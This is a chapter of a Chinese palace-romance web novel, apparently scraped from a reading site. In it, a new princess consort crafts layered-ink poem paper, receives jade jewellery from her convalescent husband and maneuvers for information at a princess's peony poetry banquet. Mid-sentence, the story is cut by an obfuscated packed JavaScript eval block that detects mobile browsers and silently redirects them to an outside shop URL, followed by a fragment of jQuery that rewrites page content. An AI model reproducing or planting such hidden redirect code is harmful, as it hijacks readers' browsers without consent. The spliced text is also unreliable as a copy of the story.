宜湄好奇地追问:“什么更好的法子?莫不是又要捣鼓些新奇的?”
“我的法子,跟书禾说的飞白书道理相近。”
崔攸宜不让三个侍女帮忙,而是自己铺纸研墨,执笔写下一首盼荷诗。
果真如听夏所言,墨色被流沙笺的冷调碧色压住。她停笔细察,又往砚台中兑些清水,调淡墨色接着书写。
见字迹边缘模糊,听夏拧紧眉头,不解道:“王妃为何还特意把墨调浅,这下字迹真要看不清了,旁人哪还能读出诗中之意?”
崔攸宜抬眼看她,笑而不语,拿起一把团扇,对着墨迹扬腕扇动。
待墨干,她取出白墨,细细研磨到墨汁浓稠,才提笔蘸取。
她对准位置,在方才那层黑墨字迹的左上侧,落笔重写同一首盼荷诗。只见厚实的白墨覆盖上去,笔画位置偏移,半遮底下的黑字。
听夏睁大眼睛,终于明白崔攸宜的巧思。
碧色流沙笺是模拟池塘,银粉闪烁是日光碎在水面上。
如此书写,上层的白墨浓厚,字迹清晰,宛若诗句浮于池面;下层的黑墨,朦胧虚散,正是诗句在水中的倒影。
一黑一白、一虚一实,又反衬出池塘的清透感。
崔攸宜还未停笔,她又蘸取黑墨,在诗行边角,勾出一两尾游鱼,它们尾鳍轻摆,似在涟漪间戏水。
“天呐……”宜湄一脸匪夷所思,弯腰蹲下,双手扒在书案边边上,脑袋来回移动位置,不停变换角度打量着这张诗笺,最后忍不住揉揉眼睛。
“姑娘!我眼睛是花了吗?还是说你施展了什么仙家法术?这字才像漂在水面上?”
崔攸宜被逗得笑出声,忍不住伸手敲了敲宜湄的额头:“哪是什么仙术,不过借纸色墨色,再利用光影虚实造成的错觉罢了。”
书禾俯身细细端详,赞叹开口:“笺纸本有水波银光,已足够雅致,如今再叠上这虚实字迹,精妙绝伦。”
屋内气氛活跃,三个侍女围着书案,你争我抢地拿起来翻看品评。
宜湄爱不释手,转头就去拉扯听夏的衣袖,兴冲冲嚷道:“听夏!你原先在账房当差,字写得比我好多了,你给我写一张,我要收起来藏着!”
听夏被她晃着身子,只能颤音应下。
“好了,你们一边玩去,别在这儿占着书案,我还得再调试几张,以备赴宴时用。”
三人应下,喧闹声顺着回廊渐隐。
崔攸宜在偏房反复试写数遍,铺开比对,定下最终的样式。
她理理衣袖,盯着房内成片的碧色流沙笺,心中仍存顾虑,在屋内来回踱步。
良久,又将三名侍女唤回,让她们制出一套暖色的洒金流沙笺来,以备不时之需。
崔攸宜本人,则起身前往主寝院另一侧,萧景行休养的地方。
内室之中,萧景行半倚着软垫,身上披了一件月白色纱质外袍,手中捧着一卷书册。
伺候在侧的小厮则脑袋耷拉,垂着眼皮,看似目光落在地面青砖上,实则余光偷瞟榻上的萧景行。
殿下正盯着书卷,但目光停留在同一页许久,手指也没有翻动的意思。小厮忍不住腹诽,殿下这哪里是在看书,分明是竖起耳朵,听隔壁院落里传过来的女子笑闹声。
笑闹声渐渐消散,廊下传来轻缓的脚步声,小厮快步迎上。
萧景行则不慌不忙,端正坐姿,观察四周后,换到近光位置,抬手将书卷拿得更稳些。
崔攸宜掀帘而入,就见孟夏时节柔和的天光落入室内,洒到榻上男子身上,显得他肤色如玉,恍若谪仙。
“夫君。”崔攸宜敛衽行礼,缓步走到榻边。
小厮躬身将汤药奉上,崔攸宜接过药碗,出言关切:“夫君的身子感觉如何?可还有头目昏沉、四肢乏力的症状?”
萧景行将汤药一饮而尽,放下瓷碗,语气平和倦怠:“好了不少,娘子不必过分忧心。”
“好。”崔攸宜面上漾开浅笑,“如此,我便能安心赴宴了。”
她羞涩过后,再次提起诗宴话题:“夫君,诗宴以牡丹为题,就算私下宾客酬答作诗无题材拘束,我只顾着顺公主之意咏荷是否不妥?”
“你尊为王妃,皆随本心就好。”萧景行摆摆手,看似并不在意这些,“说起赴宴,你身为新妇,又孤身一人,无长辈女眷作陪,我怕你在席上遭人轻视。”
萧景行挥手,小厮随即捧来一只雕花木匣,他出言解释:“这套首饰价值不菲,你戴上赴宴,我也能稍稍安心。”
木匣打开,内铺暗红织锦,放着整套羊脂白玉材质的首饰,簪、钗、步摇、玉梳、耳珰一应俱全,玉料温润莹白,雕工细腻。
羊脂白玉要走西域丝路运入长安,寻常勋贵世家都未必能见到完整一套。像这般成套的羊脂白玉头面,大多是御赐或是藩属进贡流入京中,手握千金,也未必能得。
“多谢夫君。”
事出反常必有妖,崔攸宜有些戒备。但她估算出价值后,为利所动,欢喜发自心底,笑意漾在眉眼间。
“娘子喜欢便好。”萧景行留意着她的神色,见她展露笑颜,肩背才微微松弛下来。
萧景行眼尾不自觉弯起,手指无意识地碾动书卷纸页,视线落在崔攸宜的脸庞上,又移到那灿若星子的眼眸上,克制着露出一抹笑。
看来娘子所喜之物,一为权,二为财。
如此坦荡赤城,真是少见。
诗宴当日。
因那套羊脂白玉头面,书禾笑意盈盈,终于找到机会展示自己的本事了。
她挑选了一套月白色礼服,内里搭淡绯色抹胸,绣细碎折枝花,乍看素雅,实则剪裁暗藏巧思,繁复不显堆砌。
梳好高髻,佩戴上整套白玉首饰。
玉色映人面,温润似流光。
崔攸宜对镜观察,轻拂玉钗,回想起大婚那日,也是如此复杂的花钗,书禾只看一遍,便能摸清其中门道。
坐上马车,一行人往公主府去。
待车马停稳,崔攸宜下车入院。
一路上,往来贵妇与命妇频频投来目光,大半落在她头上那套惹眼的羊脂白玉首饰上。余下的目光,则落在一旁接引她入院的公主身边得力侍女檀香身上。
游廊内,阵阵细碎私语飘在空中。
“那就是边北郡王妃?听说是国公府嫡女?”
“嫡女?往日怎不见裴夫人带她赴宴?”
“听闻边北郡王本是重伤濒死,她嫁过去,郡王就骤然苏醒,冲喜真有用?”
“宫中内侍说,两人虽是新婚,但感情甚笃,郡王在国公府昏倒那日,王妃都哭晕过去了。”
崔攸宜听见一二,顿时动了打探消息的心思,于是只留几名粗使的侍女在身边,示意宜湄和书禾散去,分头混在仆从之间,打探宴内风声。
她又披起伪装,迈碎步入廊,眼神飘忽,故作怯懦忧戚。
一位蓝衣贵妇观察她已久,见状笑迎上去,主动搭话:“妾身李氏,是尚书省礼部郎中萧亭的内人,久仰王妃之名,不知郡王殿下伤势如何?”
崔攸宜知晓这位李夫人,其夫尚书省礼部郎中,掌典礼。李夫人因其夫事务牵涉礼仪、人情馈赠,私下往来少不得她去交际,是个很好的猎物。
“劳夫人挂怀,殿下还在安心调养。”
“听闻御医……”
“夫人,这园内牡丹开得
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17968221|214591||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
艳丽,当真是人间盛景。”崔攸宜打断她,指向花圃,“不若一同观赏?”
宾客四下漫步游园,观赏各色名贵牡丹。
园内花香扑鼻,花圃中心设案,案上青瓷银盏、美酒鲜果。一旁有乐人弹箜篌、琵琶,唱新诗,沿路还有侍女捧茶瓶盏杯,供众人随时小坐闲谈。
待到集体赋诗环节,再设数排书案,案上摆放笔墨纸砚,一众文人才子落座,挥毫题写牡丹诗,侍女汇总诗笺,送至凤楼。
凤楼内,四面设窗,地面铺莞席,设低矮坐榻。
公主居于主位。崔攸宜身份贵重,位于东侧;西侧宾客身份次之;南侧离牡丹最近,方便观花,便安排年轻文士、世家才女落座。
公主转手将文人才子的牡丹诗交由身边妇人品第高下,选出的佳作会被当众高声吟诵,头名赏赐锦缎、金银,外加名贵牡丹。
凝素斋的东家柳氏也身在宴席之中。
宴上集体题诗用的是凝素斋的牡丹笺,一众文士交口称赞,甚至将其写入诗词之中。柳氏站在一旁,瞧着这光景,面上笑意怎么也压不住。
不多时,公主特意传召她上楼,赐座问话,对凝素斋的牡丹笺大加褒奖。
崔攸宜见柳氏眉眼间满是风光,又见李夫人吃了几杯酒,昏昏沉沉朝外头走去,她也起身离席,和她一同到花圃透气。
李夫人因为方才在廊下没打听出什么,对崔攸宜的态度转向平淡。
但其夫萧亭与萧景行的父亲一同出身于兰陵萧氏,彼此有些渊源,李夫人还是陪着她,没有离开。
花圃对面有一位衣着朴素的老妇人,身边围着几名侍女,侍女们各自衣着颜色不相同,身属不同宾客。
李夫人见崔攸宜频频望去,便将那些侍女的来历讲给她听。待说到那名老妇人的身份时,李夫人仔细分辨,犹豫片刻后道:“那应当是公主的乳母。”
话音落下,侍女堆里传来几声嗤笑:“长安近年新回来不少乡野之人,竟连牡丹、荷花的花意都不知!”
听“荷花”二字,崔攸宜攥紧手中团扇。
她的担忧再现,这满堂宾客皆道公主喜荷,偏爱荷花高洁品性。可一人、两人提起荷花,能博公主一笑,若众人皆提荷花,就是惹公主生气,打公主的脸面,毕竟这是牡丹诗宴,并非荷花诗宴。
公主乳母闻言并未争辩,她观察四周宾客,和对面崔攸宜对上目光,面色泛红。
崔攸宜则微微颔首,和善地扬起一抹浅笑。
她扬腕扇动团扇,盯着公主乳母,示意在花圃角落待命伺机的书禾过去解围。
见崔攸宜给了指示,书禾快速混入侍女中,当即反驳:“世人皆说牡丹象征富贵荣华,荷花喻高洁不染尘俗。可花本无意,所谓花意,不过是人附上去的。”
公主乳母闻言看向书禾,神色稍稍松弛。
而李夫人见书禾眼生,举止张扬,有些疑惑。但余光瞥见崔攸宜,见她这时候一点儿都不好奇,反而与自己相视一笑,便明白这年轻丫头也不是善茬,笑着邀她一同折返筵席了。
这一步算计已然奏效,还得了意外收获,崔攸宜唇角笑意更深。
折返宴席的还有公主乳母,书禾在一旁陪她,频频出言博她一笑,两人关系熟络起来。
公主望见乳母入席,神色变得舒展柔和,唤侍女檀香去引她入席。
不多时,宴会到了宾客酬答赠诗的环节。
席间不少人提笔就作盼荷诗,一首首呈至公主面前,公主看过,只淡淡颔首,全无兴致。
崔攸宜按兵不动,书禾探得消息,移至她身侧,轻声耳语:“爱荷花的是良妃,不是公主。公主作盼荷诗,是在惦念逝去的母妃。”